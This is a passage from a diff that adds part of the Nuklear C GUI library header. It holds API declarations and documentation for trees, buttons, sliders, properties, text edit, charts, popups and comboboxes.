__ctx__ | Must point to an previously initialized `nk_context` struct after calling `nk_tree_xxx_push_xxx` +*/ +NK_API void nk_tree_pop(struct nk_context*); +/*/// #### nk_tree_state_push +/// Start a collapsable UI section with external state management +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_tree_state_push(struct nk_context*, enum nk_tree_type, const char *title, enum nk_collapse_states *state); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling `nk_tree_xxx_push_xxx` +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __title__ | Label printed in the tree header +/// __state__ | Persistent state to update +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_tree_state_push(struct nk_context*, enum nk_tree_type, const char *title, enum nk_collapse_states *state); +/*/// #### nk_tree_state_image_push +/// Start a collapsable UI section with image and label header and external state management +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_tree_state_image_push(struct nk_context*, enum nk_tree_type, struct nk_image, const char *title, enum nk_collapse_states *state); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling `nk_tree_xxx_push_xxx` +/// __img__ | Image to display inside the header on the left of the label +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __title__ | Label printed in the tree header +/// __state__ | Persistent state to update +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_tree_state_image_push(struct nk_context*, enum nk_tree_type, struct nk_image, const char *title, enum nk_collapse_states *state); +/*/// #### nk_tree_state_pop +/// Ends a collapsabale UI section +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_tree_state_pop(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling `nk_tree_xxx_push_xxx` +*/ +NK_API void nk_tree_state_pop(struct nk_context*); + +#define nk_tree_element_push(ctx, type, title, state, sel) nk_tree_element_push_hashed(ctx, type, title, state, sel, NK_FILE_LINE,nk_strlen(NK_FILE_LINE),__LINE__) +#define nk_tree_element_push_id(ctx, type, title, state, sel, id) nk_tree_element_push_hashed(ctx, type, title, state, sel, NK_FILE_LINE,nk_strlen(NK_FILE_LINE),id) +NK_API int nk_tree_element_push_hashed(struct nk_context*, enum nk_tree_type, const char *title, enum nk_collapse_states initial_state, int *selected, const char *hash, int len, int seed); +NK_API int nk_tree_element_image_push_hashed(struct nk_context*, enum nk_tree_type, struct nk_image, const char *title, enum nk_collapse_states initial_state, int *selected, const char *hash, int len,int seed); +NK_API void nk_tree_element_pop(struct nk_context*); + +/* ============================================================================= + * + * LIST VIEW + * + * ============================================================================= */ +struct nk_list_view { +/* public: */ + int begin, end, count; +/* private: */ + int total_height; + struct nk_context *ctx; + nk_uint *scroll_pointer; + nk_uint scroll_value; +}; +NK_API int nk_list_view_begin(struct nk_context*, struct nk_list_view *out, const char *id, nk_flags, int row_height, int row_count); +NK_API void nk_list_view_end(struct nk_list_view*); +/* ============================================================================= + * + * WIDGET + * + * ============================================================================= */ +enum nk_widget_layout_states { + NK_WIDGET_INVALID, /* The widget cannot be seen and is completely out of view */ + NK_WIDGET_VALID, /* The widget is completely inside the window and can be updated and drawn */ + NK_WIDGET_ROM /* The widget is partially visible and cannot be updated */ +}; +enum nk_widget_states { + NK_WIDGET_STATE_MODIFIED = NK_FLAG(1), + NK_WIDGET_STATE_INACTIVE = NK_FLAG(2), /* widget is neither active nor hovered */ + NK_WIDGET_STATE_ENTERED = NK_FLAG(3), /* widget has been hovered on the current frame */ + NK_WIDGET_STATE_HOVER = NK_FLAG(4), /* widget is being hovered */ + NK_WIDGET_STATE_ACTIVED = NK_FLAG(5),/* widget is currently activated */ + NK_WIDGET_STATE_LEFT = NK_FLAG(6), /* widget is from this frame on not hovered anymore */ + NK_WIDGET_STATE_HOVERED = NK_WIDGET_STATE_HOVER|NK_WIDGET_STATE_MODIFIED, /* widget is being hovered */ + NK_WIDGET_STATE_ACTIVE = NK_WIDGET_STATE_ACTIVED|NK_WIDGET_STATE_MODIFIED /* widget is currently activated */ +}; +NK_API enum nk_widget_layout_states nk_widget(struct nk_rect*, const struct nk_context*); +NK_API enum nk_widget_layout_states nk_widget_fitting(struct nk_rect*, struct nk_context*, struct nk_vec2); +NK_API struct nk_rect nk_widget_bounds(struct nk_context*); +NK_API struct nk_vec2 nk_widget_position(struct nk_context*); +NK_API struct nk_vec2 nk_widget_size(struct nk_context*); +NK_API float nk_widget_width(struct nk_context*); +NK_API float nk_widget_height(struct nk_context*); +NK_API int nk_widget_is_hovered(struct nk_context*); +NK_API int nk_widget_is_mouse_clicked(struct nk_context*, enum nk_buttons); +NK_API int nk_widget_has_mouse_click_down(struct nk_context*, enum nk_buttons, int down); +NK_API void nk_spacing(struct nk_context*, int cols); +/* ============================================================================= + * + * TEXT + * + * ============================================================================= */ +enum nk_text_align { + NK_TEXT_ALIGN_LEFT = 0x01, + NK_TEXT_ALIGN_CENTERED = 0x02, + NK_TEXT_ALIGN_RIGHT = 0x04, + NK_TEXT_ALIGN_TOP = 0x08, + NK_TEXT_ALIGN_MIDDLE = 0x10, + NK_TEXT_ALIGN_BOTTOM = 0x20 +}; +enum nk_text_alignment { + NK_TEXT_LEFT = NK_TEXT_ALIGN_MIDDLE|NK_TEXT_ALIGN_LEFT, + NK_TEXT_CENTERED = NK_TEXT_ALIGN_MIDDLE|NK_TEXT_ALIGN_CENTERED, + NK_TEXT_RIGHT = NK_TEXT_ALIGN_MIDDLE|NK_TEXT_ALIGN_RIGHT +}; +NK_API void nk_text(struct nk_context*, const char*, int, nk_flags); +NK_API void nk_text_colored(struct nk_context*, const char*, int, nk_flags, struct nk_color); +NK_API void nk_text_wrap(struct nk_context*, const char*, int); +NK_API void nk_text_wrap_colored(struct nk_context*, const char*, int, struct nk_color); +NK_API void nk_label(struct nk_context*, const char*, nk_flags align); +NK_API void nk_label_colored(struct nk_context*, const char*, nk_flags align, struct nk_color); +NK_API void nk_label_wrap(struct nk_context*, const char*); +NK_API void nk_label_colored_wrap(struct nk_context*, const char*, struct nk_color); +NK_API void nk_image(struct nk_context*, struct nk_image); +NK_API void nk_image_color(struct nk_context*, struct nk_image, struct nk_color); +#ifdef NK_INCLUDE_STANDARD_VARARGS +NK_API void nk_labelf(struct nk_context*, nk_flags, NK_PRINTF_FORMAT_STRING const char*, ...) NK_PRINTF_VARARG_FUNC(3); +NK_API void nk_labelf_colored(struct nk_context*, nk_flags, struct nk_color, NK_PRINTF_FORMAT_STRING const char*,...) NK_PRINTF_VARARG_FUNC(4); +NK_API void nk_labelf_wrap(struct nk_context*, NK_PRINTF_FORMAT_STRING const char*,...) NK_PRINTF_VARARG_FUNC(2); +NK_API void nk_labelf_colored_wrap(struct nk_context*, struct nk_color, NK_PRINTF_FORMAT_STRING const char*,...) NK_PRINTF_VARARG_FUNC(3); +NK_API void nk_labelfv(struct nk_context*, nk_flags, NK_PRINTF_FORMAT_STRING const char*, va_list) NK_PRINTF_VALIST_FUNC(3); +NK_API void nk_labelfv_colored(struct nk_context*, nk_flags, struct nk_color, NK_PRINTF_FORMAT_STRING const char*, va_list) NK_PRINTF_VALIST_FUNC(4); +NK_API void nk_labelfv_wrap(struct nk_context*, NK_PRINTF_FORMAT_STRING const char*, va_list) NK_PRINTF_VALIST_FUNC(2); +NK_API void nk_labelfv_colored_wrap(struct nk_context*, struct nk_color, NK_PRINTF_FORMAT_STRING const char*, va_list) NK_PRINTF_VALIST_FUNC(3); +NK_API void nk_value_bool(struct nk_context*, const char *prefix, int); +NK_API void nk_value_int(struct nk_context*, const char *prefix, int); +NK_API void nk_value_uint(struct nk_context*, const char *prefix, unsigned int); +NK_API void nk_value_float(struct nk_context*, const char *prefix, float); +NK_API void nk_value_color_byte(struct nk_context*, const char *prefix, struct nk_color); +NK_API void nk_value_color_float(struct nk_context*, const char *prefix, struct nk_color); +NK_API void nk_value_color_hex(struct nk_context*, const char *prefix, struct nk_color); +#endif +/* ============================================================================= + * + * BUTTON + * + * ============================================================================= */ +NK_API int nk_button_text(struct nk_context*, const char *title, int len); +NK_API int nk_button_label(struct nk_context*, const char *title); +NK_API int nk_button_color(struct nk_context*, struct nk_color); +NK_API int nk_button_symbol(struct nk_context*, enum nk_symbol_type); +NK_API int nk_button_image(struct nk_context*, struct nk_image img); +NK_API int nk_button_symbol_label(struct nk_context*, enum nk_symbol_type, const char*, nk_flags text_alignment); +NK_API int nk_button_symbol_text(struct nk_context*, enum nk_symbol_type, const char*, int, nk_flags alignment); +NK_API int nk_button_image_label(struct nk_context*, struct nk_image img, const char*, nk_flags text_alignment); +NK_API int nk_button_image_text(struct nk_context*, struct nk_image img, const char*, int, nk_flags alignment); +NK_API int nk_button_text_styled(struct nk_context*, const struct nk_style_button*, const char *title, int len); +NK_API int nk_button_label_styled(struct nk_context*, const struct nk_style_button*, const char *title); +NK_API int nk_button_symbol_styled(struct nk_context*, const struct nk_style_button*, enum nk_symbol_type); +NK_API int nk_button_image_styled(struct nk_context*, const struct nk_style_button*, struct nk_image img); +NK_API int nk_button_symbol_text_styled(struct nk_context*,const struct nk_style_button*, enum nk_symbol_type, const char*, int, nk_flags alignment); +NK_API int nk_button_symbol_label_styled(struct nk_context *ctx, const struct nk_style_button *style, enum nk_symbol_type symbol, const char *title, nk_flags align); +NK_API int nk_button_image_label_styled(struct nk_context*,const struct nk_style_button*, struct nk_image img, const char*, nk_flags text_alignment); +NK_API int nk_button_image_text_styled(struct nk_context*,const struct nk_style_button*, struct nk_image img, const char*, int, nk_flags alignment); +NK_API void nk_button_set_behavior(struct nk_context*, enum nk_button_behavior); +NK_API int nk_button_push_behavior(struct nk_context*, enum nk_button_behavior); +NK_API int nk_button_pop_behavior(struct nk_context*); +/* ============================================================================= + * + * CHECKBOX + * + * ============================================================================= */ +NK_API int nk_check_label(struct nk_context*, const char*, int active); +NK_API int nk_check_text(struct nk_context*, const char*, int,int active); +NK_API unsigned nk_check_flags_label(struct nk_context*, const char*, unsigned int flags, unsigned int value); +NK_API unsigned nk_check_flags_text(struct nk_context*, const char*, int, unsigned int flags, unsigned int value); +NK_API int nk_checkbox_label(struct nk_context*, const char*, int *active); +NK_API int nk_checkbox_text(struct nk_context*, const char*, int, int *active); +NK_API int nk_checkbox_flags_label(struct nk_context*, const char*, unsigned int *flags, unsigned int value); +NK_API int nk_checkbox_flags_text(struct nk_context*, const char*, int, unsigned int *flags, unsigned int value); +/* ============================================================================= + * + * RADIO BUTTON + * + * ============================================================================= */ +NK_API int nk_radio_label(struct nk_context*, const char*, int *active); +NK_API int nk_radio_text(struct nk_context*, const char*, int, int *active); +NK_API int nk_option_label(struct nk_context*, const char*, int active); +NK_API int nk_option_text(struct nk_context*, const char*, int, int active); +/* ============================================================================= + * + * SELECTABLE + * + * ============================================================================= */ +NK_API int nk_selectable_label(struct nk_context*, const char*, nk_flags align, int *value); +NK_API int nk_selectable_text(struct nk_context*, const char*, int, nk_flags align, int *value); +NK_API int nk_selectable_image_label(struct nk_context*,struct nk_image, const char*, nk_flags align, int *value); +NK_API int nk_selectable_image_text(struct nk_context*,struct nk_image, const char*, int, nk_flags align, int *value); +NK_API int nk_selectable_symbol_label(struct nk_context*,enum nk_symbol_type, const char*, nk_flags align, int *value); +NK_API int nk_selectable_symbol_text(struct nk_context*,enum nk_symbol_type, const char*, int, nk_flags align, int *value); + +NK_API int nk_select_label(struct nk_context*, const char*, nk_flags align, int value); +NK_API int nk_select_text(struct nk_context*, const char*, int, nk_flags align, int value); +NK_API int nk_select_image_label(struct nk_context*, struct nk_image,const char*, nk_flags align, int value); +NK_API int nk_select_image_text(struct nk_context*, struct nk_image,const char*, int, nk_flags align, int value); +NK_API int nk_select_symbol_label(struct nk_context*,enum nk_symbol_type, const char*, nk_flags align, int value); +NK_API int nk_select_symbol_text(struct nk_context*,enum nk_symbol_type, const char*, int, nk_flags align, int value); + +/* ============================================================================= + * + * SLIDER + * + * ============================================================================= */ +NK_API float nk_slide_float(struct nk_context*, float min, float val, float max, float step); +NK_API int nk_slide_int(struct nk_context*, int min, int val, int max, int step); +NK_API int nk_slider_float(struct nk_context*, float min, float *val, float max, float step); +NK_API int nk_slider_int(struct nk_context*, int min, int *val, int max, int step); +/* ============================================================================= + * + * PROGRESSBAR + * + * ============================================================================= */ +NK_API int nk_progress(struct nk_context*, nk_size *cur, nk_size max, int modifyable); +NK_API nk_size nk_prog(struct nk_context*, nk_size cur, nk_size max, int modifyable); + +/* ============================================================================= + * + * COLOR PICKER + * + * ============================================================================= */ +NK_API struct nk_colorf nk_color_picker(struct nk_context*, struct nk_colorf, enum nk_color_format); +NK_API int nk_color_pick(struct nk_context*, struct nk_colorf*, enum nk_color_format); +/* ============================================================================= + * + * PROPERTIES + * + * ============================================================================= +/// ### Properties +/// Properties are the main value modification widgets in Nuklear. Changing a value +/// can be achieved by dragging, adding/removing incremental steps on button click +/// or by directly typing a number. +/// +/// #### Usage +/// Each property requires a unique name for identifaction that is also used for +/// displaying a label. If you want to use the same name multiple times make sure +/// add a '#' before your name. The '#' will not be shown but will generate a +/// unique ID. Each propery also takes in a minimum and maximum value. If you want +/// to make use of the complete number range of a type just use the provided +/// type limits from `limits.h`. For example `INT_MIN` and `INT_MAX` for +/// `nk_property_int` and `nk_propertyi`. In additional each property takes in +/// a increment value that will be added or subtracted if either the increment +/// decrement button is clicked. Finally there is a value for increment per pixel +/// dragged that is added or subtracted from the value. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int value = 0; +/// struct nk_context ctx; +/// nk_init_xxx(&ctx, ...); +/// while (1) { +/// // Input +/// Event evt; +/// nk_input_begin(&ctx); +/// while (GetEvent(&evt)) { +/// if (evt.type == MOUSE_MOVE) +/// nk_input_motion(&ctx, evt.motion.x, evt.motion.y); +/// else if (evt.type == [...]) { +/// nk_input_xxx(...); +/// } +/// } +/// nk_input_end(&ctx); +/// // +/// // Window +/// if (nk_begin_xxx(...) { +/// // Property +/// nk_layout_row_dynamic(...); +/// nk_property_int(ctx, "ID", INT_MIN, &value, INT_MAX, 1, 1); +/// } +/// nk_end(ctx); +/// // +/// // Draw +/// const struct nk_command *cmd = 0; +/// nk_foreach(cmd, &ctx) { +/// switch (cmd->type) { +/// case NK_COMMAND_LINE: +/// your_draw_line_function(...) +/// break; +/// case NK_COMMAND_RECT +/// your_draw_rect_function(...) +/// break; +/// case ...: +/// // [...] +/// } +/// nk_clear(&ctx); +/// } +/// nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Reference +/// Function | Description +/// --------------------|------------------------------------------- +/// nk_property_int | Integer property directly modifing a passed in value +/// nk_property_float | Float property directly modifing a passed in value +/// nk_property_double | Double property directly modifing a passed in value +/// nk_propertyi | Integer property returning the modified int value +/// nk_propertyf | Float property returning the modified float value +/// nk_propertyd | Double property returning the modified double value +/// +*/ +/*/// #### nk_property_int +/// Integer property directly modifing a passed in value +/// !!! WARNING +/// To generate a unique property ID using the same label make sure to insert +/// a `#` at the beginning. It will not be shown but guarantees correct behavior. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_property_int(struct nk_context *ctx, const char *name, int min, int *val, int max, int step, float inc_per_pixel); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// --------------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling a layouting function +/// __name__ | String used both as a label as well as a unique identifier +/// __min__ | Minimum value not allowed to be underflown +/// __val__ | Integer pointer to be modified +/// __max__ | Maximum value not allowed to be overflown +/// __step__ | Increment added and subtracted on increment and decrement button +/// __inc_per_pixel__ | Value per pixel added or subtracted on dragging +*/ +NK_API void nk_property_int(struct nk_context*, const char *name, int min, int *val, int max, int step, float inc_per_pixel); +/*/// #### nk_property_float +/// Float property directly modifing a passed in value +/// !!! WARNING +/// To generate a unique property ID using the same label make sure to insert +/// a `#` at the beginning. It will not be shown but guarantees correct behavior. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_property_float(struct nk_context *ctx, const char *name, float min, float *val, float max, float step, float inc_per_pixel); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// --------------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling a layouting function +/// __name__ | String used both as a label as well as a unique identifier +/// __min__ | Minimum value not allowed to be underflown +/// __val__ | Float pointer to be modified +/// __max__ | Maximum value not allowed to be overflown +/// __step__ | Increment added and subtracted on increment and decrement button +/// __inc_per_pixel__ | Value per pixel added or subtracted on dragging +*/ +NK_API void nk_property_float(struct nk_context*, const char *name, float min, float *val, float max, float step, float inc_per_pixel); +/*/// #### nk_property_double +/// Double property directly modifing a passed in value +/// !!! WARNING +/// To generate a unique property ID using the same label make sure to insert +/// a `#` at the beginning. It will not be shown but guarantees correct behavior. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_property_double(struct nk_context *ctx, const char *name, double min, double *val, double max, double step, double inc_per_pixel); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// --------------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling a layouting function +/// __name__ | String used both as a label as well as a unique identifier +/// __min__ | Minimum value not allowed to be underflown +/// __val__ | Double pointer to be modified +/// __max__ | Maximum value not allowed to be overflown +/// __step__ | Increment added and subtracted on increment and decrement button +/// __inc_per_pixel__ | Value per pixel added or subtracted on dragging +*/ +NK_API void nk_property_double(struct nk_context*, const char *name, double min, double *val, double max, double step, float inc_per_pixel); +/*/// #### nk_propertyi +/// Integer property modifing a passed in value and returning the new value +/// !!! WARNING +/// To generate a unique property ID using the same label make sure to insert +/// a `#` at the beginning. It will not be shown but guarantees correct behavior. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_propertyi(struct nk_context *ctx, const char *name, int min, int val, int max, int step, float inc_per_pixel); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// --------------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling a layouting function +/// __name__ | String used both as a label as well as a unique identifier +/// __min__ | Minimum value not allowed to be underflown +/// __val__ | Current integer value to be modified and returned +/// __max__ | Maximum value not allowed to be overflown +/// __step__ | Increment added and subtracted on increment and decrement button +/// __inc_per_pixel__ | Value per pixel added or subtracted on dragging +/// +/// Returns the new modified integer value +*/ +NK_API int nk_propertyi(struct nk_context*, const char *name, int min, int val, int max, int step, float inc_per_pixel); +/*/// #### nk_propertyf +/// Float property modifing a passed in value and returning the new value +/// !!! WARNING +/// To generate a unique property ID using the same label make sure to insert +/// a `#` at the beginning. It will not be shown but guarantees correct behavior. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// float nk_propertyf(struct nk_context *ctx, const char *name, float min, float val, float max, float step, float inc_per_pixel); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// --------------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling a layouting function +/// __name__ | String used both as a label as well as a unique identifier +/// __min__ | Minimum value not allowed to be underflown +/// __val__ | Current float value to be modified and returned +/// __max__ | Maximum value not allowed to be overflown +/// __step__ | Increment added and subtracted on increment and decrement button +/// __inc_per_pixel__ | Value per pixel added or subtracted on dragging +/// +/// Returns the new modified float value +*/ +NK_API float nk_propertyf(struct nk_context*, const char *name, float min, float val, float max, float step, float inc_per_pixel); +/*/// #### nk_propertyd +/// Float property modifing a passed in value and returning the new value +/// !!! WARNING +/// To generate a unique property ID using the same label make sure to insert +/// a `#` at the beginning. It will not be shown but guarantees correct behavior. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// float nk_propertyd(struct nk_context *ctx, const char *name, double min, double val, double max, double step, double inc_per_pixel); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// --------------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after calling a layouting function +/// __name__ | String used both as a label as well as a unique identifier +/// __min__ | Minimum value not allowed to be underflown +/// __val__ | Current double value to be modified and returned +/// __max__ | Maximum value not allowed to be overflown +/// __step__ | Increment added and subtracted on increment and decrement button +/// __inc_per_pixel__ | Value per pixel added or subtracted on dragging +/// +/// Returns the new modified double value +*/ +NK_API double nk_propertyd(struct nk_context*, const char *name, double min, double val, double max, double step, float inc_per_pixel); +/* ============================================================================= + * + * TEXT EDIT + * + * ============================================================================= */ +enum nk_edit_flags { + NK_EDIT_DEFAULT = 0, + NK_EDIT_READ_ONLY = NK_FLAG(0), + NK_EDIT_AUTO_SELECT = NK_FLAG(1), + NK_EDIT_SIG_ENTER = NK_FLAG(2), + NK_EDIT_ALLOW_TAB = NK_FLAG(3), + NK_EDIT_NO_CURSOR = NK_FLAG(4), + NK_EDIT_SELECTABLE = NK_FLAG(5), + NK_EDIT_CLIPBOARD = NK_FLAG(6), + NK_EDIT_CTRL_ENTER_NEWLINE = NK_FLAG(7), + NK_EDIT_NO_HORIZONTAL_SCROLL = NK_FLAG(8), + NK_EDIT_ALWAYS_INSERT_MODE = NK_FLAG(9), + NK_EDIT_MULTILINE = NK_FLAG(10), + NK_EDIT_GOTO_END_ON_ACTIVATE = NK_FLAG(11) +}; +enum nk_edit_types { + NK_EDIT_SIMPLE = NK_EDIT_ALWAYS_INSERT_MODE, + NK_EDIT_FIELD = NK_EDIT_SIMPLE|NK_EDIT_SELECTABLE|NK_EDIT_CLIPBOARD, + NK_EDIT_BOX = NK_EDIT_ALWAYS_INSERT_MODE| NK_EDIT_SELECTABLE| NK_EDIT_MULTILINE|NK_EDIT_ALLOW_TAB|NK_EDIT_CLIPBOARD, + NK_EDIT_EDITOR = NK_EDIT_SELECTABLE|NK_EDIT_MULTILINE|NK_EDIT_ALLOW_TAB| NK_EDIT_CLIPBOARD +}; +enum nk_edit_events { + NK_EDIT_ACTIVE = NK_FLAG(0), /* edit widget is currently being modified */ + NK_EDIT_INACTIVE = NK_FLAG(1), /* edit widget is not active and is not being modified */ + NK_EDIT_ACTIVATED = NK_FLAG(2), /* edit widget went from state inactive to state active */ + NK_EDIT_DEACTIVATED = NK_FLAG(3), /* edit widget went from state active to state inactive */ + NK_EDIT_COMMITED = NK_FLAG(4) /* edit widget has received an enter and lost focus */ +}; +NK_API nk_flags nk_edit_string(struct nk_context*, nk_flags, char *buffer, int *len, int max, nk_plugin_filter); +NK_API nk_flags nk_edit_string_zero_terminated(struct nk_context*, nk_flags, char *buffer, int max, nk_plugin_filter); +NK_API nk_flags nk_edit_buffer(struct nk_context*, nk_flags, struct nk_text_edit*, nk_plugin_filter); +NK_API void nk_edit_focus(struct nk_context*, nk_flags flags); +NK_API void nk_edit_unfocus(struct nk_context*); +/* ============================================================================= + * + * CHART + * + * ============================================================================= */ +NK_API int nk_chart_begin(struct nk_context*, enum nk_chart_type, int num, float min, float max); +NK_API int nk_chart_begin_colored(struct nk_context*, enum nk_chart_type, struct nk_color, struct nk_color active, int num, float min, float max); +NK_API void nk_chart_add_slot(struct nk_context *ctx, const enum nk_chart_type, int count, float min_value, float max_value); +NK_API void nk_chart_add_slot_colored(struct nk_context *ctx, const enum nk_chart_type, struct nk_color, struct nk_color active, int count, float min_value, float max_value); +NK_API nk_flags nk_chart_push(struct nk_context*, float); +NK_API nk_flags nk_chart_push_slot(struct nk_context*, float, int); +NK_API void nk_chart_end(struct nk_context*); +NK_API void nk_plot(struct nk_context*, enum nk_chart_type, const float *values, int count, int offset); +NK_API void nk_plot_function(struct nk_context*, enum nk_chart_type, void *userdata, float(*value_getter)(void* user, int index), int count, int offset); +/* ============================================================================= + * + * POPUP + * + * ============================================================================= */ +NK_API int nk_popup_begin(struct nk_context*, enum nk_popup_type, const char*, nk_flags, struct nk_rect bounds); +NK_API void nk_popup_close(struct nk_context*); +NK_API void nk_popup_end(struct nk_context*); +NK_API void nk_popup_get_scroll(struct nk_context*, nk_uint *offset_x, nk_uint *offset_y); +NK_API void nk_popup_set_scroll(struct nk_context*, nk_uint offset_x, nk_uint offset_y); +/* ============================================================================= + * + * COMBOBOX + * + * ============================================================================= */ +NK_API int nk_combo(struct nk_context*, const char **items, int count, int selected, int item_height, struct nk_vec2 size); +NK_API int nk_combo_separator(struct nk_context*, const char *items_separated_by_separator, int separator, int selected, int count, int item_height, struct nk_vec2 size); +NK_API int nk_combo_string(struct nk_context*, const char *items_separated_by_zeros, int selected, int count, int item_height, struct nk_vec2 size); +NK_API int nk_combo_callback(struct nk_context*, void(*item_getter)(void*, int, const char**), void *userdata, int selected, int count, int item_height, struct nk_vec2 size); +NK_API void nk_combobox(struct nk_context*, const char **items, int count, int *selected, int item_height, struct nk_vec2 size); +NK_API void nk_combobox_string(struct nk_context*, const char *items_separated_by_zeros, int *selected, int count, int item_height, struct nk_vec2 size); +NK_API void nk_combobox_separator(struct nk_context*, const char *items_separated_by_separator, int separator,int *selected, int count, int item_height, struct nk_vec2 size); +NK_API void nk_combobox_callback(struct nk_context*, void(*item_getter)(void*, int, const char**), void*, int *selected, int count, int item_height, struct nk_vec2 size); +/* ============================================================================= + * + * ABSTRACT COMBOBOX + * + * ============================================================================= */ +NK_API int nk_combo_begin_text(struct nk_context*, const char *selected, int, struct nk_vec2 size); +NK_API int nk_combo_begin_label(struct nk_context*, const char *selected, struct nk_vec2 size); +NK_API int nk_combo_begin_color(struct nk_context*, struct nk_color color, struct nk_vec2 size); +NK_API int nk_combo_begin_symbol(struct nk_context*, enum nk_symbol_type, struct nk_vec2 size); +NK_API int nk_combo_begin_symbol_label(struct nk_context*, const char *selected, enum nk_symbol_type, struct nk_vec2 size); +NK_API int nk_combo_begin_symbol_text(struct nk_context*, const char *selected, int, enum nk_symbol_type, struct nk_vec2 size); +NK_API int nk_combo_begin_image(struct nk_context*, struct nk_image img, struct nk_vec2 size); +NK_API int nk_combo_begin_image_label(struct nk_context*, const char *selected, struct nk_image, struct nk_vec2 size); +NK_API int nk_combo_begin_image_text(struct nk_context*, const char *selected, int, struct nk_image, struct nk_vec2 size); +NK_API int nk_combo_item_label(struct nk_context*, const char*, nk_flags alignment); +NK_API int nk_combo_item_text(struct nk_context*, const char*,int, nk_flags alignment); +NK_API int nk_combo_item_image_label(struct nk_context*, struct nk_image, const char*, nk_flags alignment); +NK_API int nk_combo_item_image_text(struct nk_context*, struct nk_image, const char*, int,nk_flags alignment); +NK_API int nk_combo_item_symbol_label(struct nk_context*, enum nk_symbol_type, const char*, nk_flags alignment); +NK_API int nk_combo_item_symbol_text(struct nk_context*, enum nk_symbol_type, const char*, int, nk_flags alignment); +NK_API void nk_combo_close(struct nk_context*); +NK_API void nk_combo_end(struct nk_context*); +/* ============================================================================= + * + * CONTEXTUAL + * + * ============================================================================= */ +NK_API int nk_contextual_begin(struct nk_context*, nk_flags, struct nk_vec2, struct nk_rect trigger_bounds); +NK_API int nk_contextual_item_text(struct nk_context*, const char*, int,nk_flags align); +NK_API int nk_contextual_item_label(struct nk_context*, const char*, nk_flags align); +NK_API int nk_contextual_item_image_label(struct nk_context*, struct nk_image, const char*, nk_flags alignment); +NK_API int nk_contextual_item_image_text(struct nk_context*, struct nk_image, const char*, int len, nk_flags alignment); +NK_API int 